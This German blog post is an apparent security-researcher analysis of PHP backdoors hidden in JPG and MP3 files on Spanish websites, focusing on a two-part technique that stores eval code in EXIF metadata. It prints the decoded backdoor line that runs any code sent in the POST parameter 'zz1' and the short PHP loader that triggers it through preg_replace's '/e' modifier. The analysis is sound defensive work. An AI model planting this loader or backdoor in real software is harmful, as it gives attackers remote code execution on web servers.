Malware in Metadaten

Eins der System, die bei mir laufen, sammelt alle Malware-Detektionen im Web für die .es-Domains. Normalerweise gucke ich dort jeden Morgen rein – es könnte ja etwas besonders Interessantes oder Relevantes dabei sein. Und wenn ich die Zeit finde, erstelle ich gern Statistiken, um einen globalen Überblick zu erhalten.

Manche Dinge finde ich mit absoluter Verlässlichkeit vor, jedes Mal, wenn ich meine Statistiken checke, wie z.B. URLs, die schon seit mehr als 200 Tagen infiziert sind, obwohl deren Besitzer informiert wurden. Das spricht für einen eklatanten Mangel an Sicherheitsbewusstsein in manchen Unternehmen und dafür, dass manche Websites einfach vernachlässigt und zu einem sprudelnden Malware-Quell werden.

Was mich allerdings stutzig machte, war die Detektion vieler PHP-Backdoors mit nicht so üblichen Erweiterungen, wie etwa JPG oder MP3. Vielleicht ein falsch-positives Ergebnis? Das wollte ich mir näher angucken!

Einige sind einfach typisch obfuskiertes JavaScript, das den wohlbekannten C99Shell implementiert und eine andere Erweiterung verwendet, in diesem Fall JPG oder MP3:

208214193

Teilweise waren auch JavaScript-Code und iframes am Ende von legitimen JPG-Dateien angefügt:

208214194

Wenn der Webserver ordentlich konfiguriert ist, so werden diese Dateien ganz klar nie ausgeführt werden. Im ersten Fall werden noch nicht einmal die Bilder korrekt dargestellt, was für jeden Administrator ein deutliches Zeichen dafür sein sollte, das hier irgendetwas faul ist.

Bei den angehängten iframes werden die Bilder korrekt angezeigt (JPEG ist ein wahrlich flexibles Format), aber der iframe wird nicht ausgeführt. Warum ist er dann überhaupt da? Es gibt keinen Grund dafür, nur automatische und verrauschte Skripte hängen diesen iframe ans Ende jeder Datei, die auf dem Webserver gefunden wird, sobald ein Angreifer Zugriff erhält, möglicherweise unter Verwendung von automatisierten Tools.

Trotzdem hielten einige JPG-Dateien etwas wirklich Interessantes bereit.

208214195

Die Strings korrespondieren mit den EXIF-Daten des Bildes.

208214196

Zu beachten sind hier die EXIF JavaScript-Daten in der Model-Information, aber auch der String “/.*/e” unter Maker.

Dieser JavaScript-Code wird übersetzt in:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));

Grundsätzlich wird alles bewertet, was durch den POST-Parameter zz1 geht.

Doch es handelt sich um ein Bild – wie wird der Code also ausgeführt? Dank der PHP-Funktion exif_read_data function.

<?php
$exif = exif_read_data(‚image.jpg‘);
preg_replace($exif[‚Make‘],$exif[‚Model‘],“);
?>

Die PHP-Funktion preg_replace interpretiert den Inhalt dank des Strings “/e” (das Feld Maker field in den EXIF-Daten) als PHP-Code. Dadurch wird der schädliche Code im zweiten EXIF-Feld (Model) ausgeführt. Daher handelt es sich hierbei also prinzipiell um einen Backdoor, der jeden Befehl innerhalb des POST-Parameters zz1 ausführt.

Der “/e”-Pattern-Modifier ist ab PHP 5.5.0 veraltet, das sind gute Nachrichten.

Es handelt sich hier also um einen Zwei-Komponenten-Backdoor: eine JPEG-Datei mit schädlichen EXIF-Daten und einem PHP-Code, der es ausführt.

Dieser PHP-Code kann problemlos in jede andere PHP-Datei eingefügt werden, die auf dem Server gefunden wird, ohne dass sie bei einem Schnellcheck unbedingt als schädlich identifiziert wird.

Das Bild wird korrekt dargestellt, dieser JavaScript-Code beeinflusst die Visualisierung nicht, da es sich nur um EXIF-Daten handelt:

208214197

Wenn man etwas in dieser Art herausfindet, so guckt man schnell im Internet nach. Unglücklicherweise ist mir durchgerutscht, dass einige Kollegen diese Technik bereits im Juni entdeckt haben:

http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html

Der schädliche EXIF-Code ist in allen Analysen gleich, ebenso wie in allen Bildern, die ich gefunden habe. Ich weiß, dass dieser Code auch in einigen zielgerichteten Angriffen gefunden wurde, obgleich er scheinbar in keinem direkten Zusammenhang stand.

Am wahrscheinlichsten ist es, dass diese Technik in einer einzelnen Kampagne eingesetzt wurde, wobei automatisch einige hundert Websites infiziert wurden. Eine Überprüfung des Profils der infizierten Sites hat ergeben, dass sie vermutlich eine Joomla Sicherheitslücke ausnutzen. Das konnte bisher allerdings noch nicht bestätigt werden. Sobald diese Technik bekannt war, konnte sie auch wiederverwendet werden.

Dank unseres KSN können wir aus unseren eigenen Statistiken die geografische Verteilung unserer Detektionen ableiten:

208214198

Es bedeutet nicht, dass die infizierten Server auch zwangsläufig in diesen Ländern sind, es ist allerdings recht wahrscheinlich. Googelt man nach diesem String, so werden über 1.300 Sites gefunden.

Diese Kampagne lehrt uns etwas: Wir sollten niemals irgendeinen Angriffsvektor unterschätzen. Normalerweise weisen 9 von 10 Webadministratoren die Annahme von sich, dass Bilddateien gefährlich sind. Nun wissen wir, dass das nicht zwangsläufig stimmen muss.

Metadaten werden schon immer als ein Problem in Bezug auf den Datenschutz angesehen, nun sind sie zu einem neuen verborgenen Kanal für Angreifer geworden. Auch nach längerem gedanklichen Ausprobieren ist mir kein einfacher Weg eingefallen, dieselbe Attacke auf andere Metadaten in anderen Dateiformaten anzuwenden, wie z.B. PDF. Was allerdings nicht bedeutet, dass es unmöglich ist.

Ähnliche Beiträge

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.